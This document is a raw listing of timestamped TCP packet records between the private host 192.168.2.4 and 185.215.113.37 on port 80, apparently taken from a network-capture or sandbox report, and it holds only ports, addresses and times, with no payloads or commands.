Oct 1, 2024 06:03:13.193888903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.193902969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.193922043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.193948984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.193954945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.193991899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194022894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194022894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194058895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194086075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194088936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194123983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194149017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194154978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194188118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194215059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194220066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194252014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194278955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194282055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194314957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194338083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194346905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194380045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194408894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194411993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194446087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194477081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194477081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194509983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194538116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194540977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194576979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194601059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194607019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194639921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194665909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194672108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194705009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194732904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194736004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194767952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194793940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194799900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194832087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.194855928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.194864035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.195403099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270107031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270175934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270191908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270224094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270226955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270262957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270277023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270319939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270329952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270364046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270373106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270401001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270410061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270433903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270445108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270468950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270479918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270498991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270514965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270535946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270545959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270581961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270589113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270625114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270637989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270658970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270668030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270693064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270701885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270726919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270740032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270760059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270771980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270792961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270803928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270837069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270843029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270879984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270886898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270910025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270921946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270952940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.270960093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.270996094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.271003962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.271028042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.271039963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.271063089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.271066904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.271105051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.278785944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.278841019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.278868914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.278868914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.278883934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.278915882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.278985023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279031992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279033899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279076099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279083967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279120922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279150009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279170036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279172897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279221058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279238939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279274940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279294968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279315948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279340029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279386997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279416084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279460907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279467106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279500008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279510975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279534101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279541016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279567957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279573917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279603004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279618025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279665947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279668093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279706001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279712915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279740095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279747009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279791117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279791117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279825926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279835939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279859066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279870033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279891968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279908895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279931068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.279942989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279975891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.279984951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280008078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280019045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280040026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280040979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280092001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280100107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280148029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280153990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280204058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280205011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280239105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280249119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280272961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280283928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280323029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280327082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280359983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280373096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280416012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280416965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280458927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280466080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280500889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280512094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280534983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280548096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280569077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280579090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280602932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280611992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280637026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280648947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280669928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280679941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280704975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280715942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280738115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280747890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280772924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280785084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280806065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280816078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280841112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280853033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280873060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280884027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280906916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280917883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280941963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280950069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.280977011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.280987024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281008959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281018019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281042099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281053066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281078100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281085968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281111956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281119108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281145096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281156063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281179905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281192064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281213999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281224966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281248093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281258106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281281948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281292915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281317949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281318903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281352043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281363964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281385899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281395912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281420946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281429052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281455040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281466007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281488895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281497955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281521082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281527996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281554937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281563997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281591892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281598091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281625032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281636000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281661034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281673908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281693935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281703949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281728029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281735897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281760931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281770945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281795025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281804085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281827927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281837940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281862020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281871080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281894922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281900883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281929016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281934977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.281965971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.281970978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282001019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282008886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282035112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282042980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282071114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282080889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282103062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282115936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282138109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282141924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282171011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282181025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282203913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282216072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282238007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282249928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282272100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282272100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282305956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282315016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282341003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.282346010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.282387972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.357738972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.357774019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.357805967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.357812881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.357839108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.357839108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.357846975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.357883930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.357894897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.357934952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.357944012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.357978106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.357990980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358011961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358027935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358063936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358115911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358148098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358150005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358150005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358182907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358192921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358192921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358230114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358233929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358268023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358280897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358314991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358315945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358349085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358361006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358381033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358392954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358417988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358423948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358452082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358465910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358485937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358499050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358520985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.358530998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.358566999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.365696907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.365751028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.365772963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.365782022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.365794897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.365819931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.365833998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.365879059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.365884066 CEST	80	49730	185.215.113.37	192.168.2.4
